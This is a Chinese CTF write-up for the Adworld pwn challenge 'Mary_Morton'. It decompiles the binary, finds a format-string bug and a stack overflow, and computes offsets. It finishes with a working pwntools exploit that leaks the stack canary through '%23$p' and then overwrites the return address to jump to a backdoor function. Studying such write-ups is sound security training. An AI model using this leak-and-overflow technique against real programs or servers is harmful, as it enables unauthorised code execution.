攻防世界 Pwn Mary_Morton
1.题目下载地址
2.checksec看一下保护
开启了canary,没开PIE
大概率有后门函数,应该不是很难的题
3.IDA分析
3.1.main函数
puts("Welcome to the battle ! ");
puts("[Great Fairy] level pwned ");
puts("Select your weapon ");
while ( 1 )
{
while ( 1 )
{
sub_4009DA();
__isoc99_scanf("%d", &v3);
if ( v3 != 2 )
break;
sub_4008EB();
}
if ( v3 == 3 )
{
puts("Bye ");
exit(0);
}
if ( v3 == 1 )
sub_400960();
else
puts("Wrong!");
}
}
- 大概就是一个菜单,选择对应的号码就会进入对应的程序
- 一个一个进去看
3.2. sub_400960()
unsigned __int64 sub_400960()
{
char buf[136]; // [rsp+0h] [rbp-90h] BYREF
unsigned __int64 v2; // [rsp+88h] [rbp-8h]
v2 = __readfsqword(0x28u);
memset(buf, 0, 0x80uLL);
read(0, buf, 0x100uLL);
printf("-> %s\n", buf);
return __readfsqword(0x28u) ^ v2;
}
- 这个函数的printf()指定了输出目标,不适合格式化字符串漏洞
3.3. sub_4008EB()
unsigned __int64 sub_4008EB()
{
char buf[136]; // [rsp+0h] [rbp-90h] BYREF
unsigned __int64 v2; // [rsp+88h] [rbp-8h]
v2 = __readfsqword(0x28u);
memset(buf, 0, 0x80uLL);
read(0, buf, 0x7FuLL);
printf(buf);
return __readfsqword(0x28u) ^ v2;
}
- 这个函数的printf()函数可以格式化字符串
- 因为这个程序开了canary,并且没开PIE
- 很明显是一道格式化字符串加canary绕过
- 找一下后门函数
3.4.
int sub_4008DA()
{
return system("/bin/cat ./flag");
}
4.gdb动态调试
4.1.计算溢出量
计算偏移的方法,很好用
-
可以数到,我们输入后的偏移为6
-
又因为,buf和v2本来的差距就有0x90-8h=0x88 0x88/0x8=0x11(十进制17)
-
根据注释:buf在rbp-90h,v2在rbp-8h,所以,覆盖返回地址的话,需要0x90-0x8=0x88覆盖局部变量,然后放上canary的值,在8个“a”覆盖ebp,最后加上system的返回地址就可以。
-
计算器算一下
那么往后找23个位置就是canary了
5.exp
python2写法
from pwn import *
# context.log_level = 'debug'
p = remote('111.198.29.45',56161)
p.recvuntil("Exit the battle ")
p.sendline(str(2))#先进入格式化函数泄漏cannary
p.sendline("%23$p")#泄漏cannary
p.recvuntil("0x")
canary = int(p.recv(16),16)#接收16个字节
p.recvuntil("Exit the battle ")
payload = "a"*0x88 + p64(canary) + 0x8*"a" + p64(0x04008DA)
p.sendline(str(1))
p.sendline(payload)
p.interactive()